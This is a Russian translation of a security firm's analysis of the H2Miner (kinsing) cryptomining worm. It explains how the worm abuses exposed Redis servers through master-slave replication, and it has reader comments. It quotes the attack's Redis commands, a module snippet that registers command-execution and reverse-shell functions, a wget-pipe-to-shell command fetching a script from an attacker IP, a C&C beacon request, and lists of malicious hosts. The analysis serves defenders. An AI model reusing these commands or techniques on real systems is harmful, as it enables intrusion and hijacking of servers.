Обнаружена новая вспышка H2Miner червей, которые эксплуатируют Redis RCE

Автор оригинала: Alibaba Cloud Security
  • Перевод
День назад один из серверов моего проекта был атакован подобным червем. В поисках ответа на вопрос «что же это было такое?» я нашел замечательную статью команды Alibaba Cloud Security. Поскольку я не нашел этот статьи на хабре, то решил перевести ее специально для вас <3

Вступление


Недавно команда безопасности Alibaba Cloud обнаружила внезапную вспышку H2Miner. Этот тип вредоносного червя использует отсутствие авторизации или слабые пароли для Redis в качестве шлюзов к вашим системам, после чего синхронизирует свой собственный вредоносный модуль с slave посредством синхронизации master-slave и, наконец, загружает этот вредоносный модуль на атакуемую машину и выполняет вредоносные инструкции.

В прошлом, атаки на ваши системы в основном осуществлялись с помощью метода, включающего запланированные задачи или SSH-ключи, которые записывались на вашу машину после входа злоумышленника в Redis. К счастью, этот метод не удается использовать часто из-за проблем с контролем разрешений или из-за разных версий системы. Тем не менее, этот метод загрузки вредоносного модуля может непосредственно выполнять команды атакующего или получать доступ к шеллу, что опасно для вашей системы.

Из-за большого количества серверов Redis, размещенных в интернете (почти 1 миллион), команда безопасности Alibaba Cloud, в качестве дружественного напоминания, рекомендует пользователям не предоставлять доступ к Redis из сети и регулярно проверять надежность своих паролей, а также, не подвержены ли они быстрому подбору.

H2Miner


H2Miner — это майнинг-ботнет для систем, на базе Linux, который может вторгаться в вашу систему различными способами, включая отсутсвие авторизации в Hadoop yarn, Docker, и уязвимость удаленного выполнения команд Redis (RCE). Ботнет работает путем загрузки вредоносных скриптов и вредоносных программ для майнинга ваших данных, горизонтального расширения атаки и поддержания командно-контрольной (C&C) связи.

Redis RCE


Знаниями по этому вопросу поделился Павел Топорков на ZeroNights 2018. После версии 4.0, Redis поддерживает функцию загрузки внешних модулей, которая предоставляет пользователям возможность загрузки файлов so, скомпилированных с помощью C в Redis для выполнения определенных команд Redis. Эта функция хоть и полезна, но содержит уязвимость, при которой в режиме master-slave файлы могут быть синхронизированы с slave через режим fullresync. Это может быть использовано атакующим для передачи вредоносных файлов so. После завершения передачи злоумышленники подгружают модуль на атакуемый экземпляр Redis и выполняют любую команду.

Анализ вредоносного червя


Недавно команда безопасности Alibaba Cloud обнаружила, что размер группы вредоносных майнеров H2Miner вдруг резко возрос. Согласно анализу, общий процесс возникновения атаки выглядит следующим образом:

image

H2Miner в использует RCE Redis для полноценной атаки. Сперва злоумышленники атакуют незащищенные сервера Redis или сервера со слабыми паролями.

Затем они используют команду config set dbfilename red2.so чтобы изменить имя файла. После этого атакующие выполняют команду slaveof для установки адреса хоста репликации master-slave.

Когда атакуемый экземпляр Redis устанавливает соединение master-slave с вредоносным Redis, который принадлежит злоумышленнику, атакующий отправляет зараженный модуль с помощью команды fullresync для синхронизации файлов. Затем файл red2.so будет загружен на атакуемую машину. После чего злоумышленники используют модуль загрузки ./red2.so чтобы загрузить этот файл so. Модуль может выполнять команды злоумышленника или инициировать обратное соединение (бэкдор) для получения доступа к атакуемой машине.

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

После выполнения вредоносной команды, такой как / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, злоумышленник сбросит имя файла резервной копии и сделает выгрузку системного модуля, чтобы очистить следы. Тем не менее, файл red2.so по-прежнему будет оставаться на атакованной машине. Пользователям рекомендуется обратить внимание на наличие такого подозрительного файла в папке их экземпляра Redis.

В дополнение к уничтожению некоторых вредоносных процессов для кражи ресурсов, злоумышленник последовал вредоносному сценарию, загрузив и запустив вредоносные файлы в бинарном виде, чтобы 142.44.191.122/kinsing. Это означает, что имя процесса или имя каталога, содержащее kinsing на хосте, может указывать на то, что эта машина была заражена данным вирусом.

Согласно результатам реверсивной разработки, вредоносная программа в основном выполняет следующие функции:

  • Загрузка файлов и их выполнение
  • Майнинг
  • Поддержание связи C&C и выполнение команд атакующего

image

Используйте masscan для внешнего сканирования, чтобы расширить влияние. Кроме того, IP-адрес сервера C&C жестко зашифрован в программе, и атакуемый хост будет взаимодействовать с сервером связи C&C с помощью HTTP запросов, где информация зомби (взломанного сервера) идентифицируется в заголовке HTTP.

image

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

Остальные методы атак


image

Адреса и ссылки, которые использует червь


/kinsing

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

с&c

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

Совет


Во-первых, Redis не должен быть открыт для доступа из Интернета и должен быть защищен надежным паролем. Также, важно, чтобы клиенты проверяли, отсутствие файла red2.so в директории Redis и отсутсвие «kinsing» в имени файла / процесса на хосте.
AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее
Реклама

Комментарии 4

    0
    «На Linux вирусов нет!» — говорили они…
      +1
      При чем тут вирусы то? Даже с учетом гугл-транслейта в статье очевидно, что там используется незапароленный доступ (или подбирается пароль, если он простой) к Redis Server.
      0
      Да что не так с этим миром. Не успеваешь закрывать на серверах потенциально старые уязвимости, люди придумывают новые.
        0
        Да какие уязвимости. У redis дизайн такой, его НЕ НУЖНО выставлять наружу в интернет, даже с паролем. О чем в доках и написано (https://redis.io/topics/security):
        Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket.

        И даже если есть аутентификация, то советуют ее включать только как дополнительное средство защиты:
        The goal of the authentication layer is to optionally provide a layer of redundancy. If firewalling or any other system implemented to protect Redis from external attackers fail, an external client will still not be able to access the Redis instance without knowledge of the authentication password.

        Многие просто игнорируют рекомендации, за это и страдают. Там же protected mode по умолчанию включен, то есть его видимо выключают.

      Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

      Самое читаемое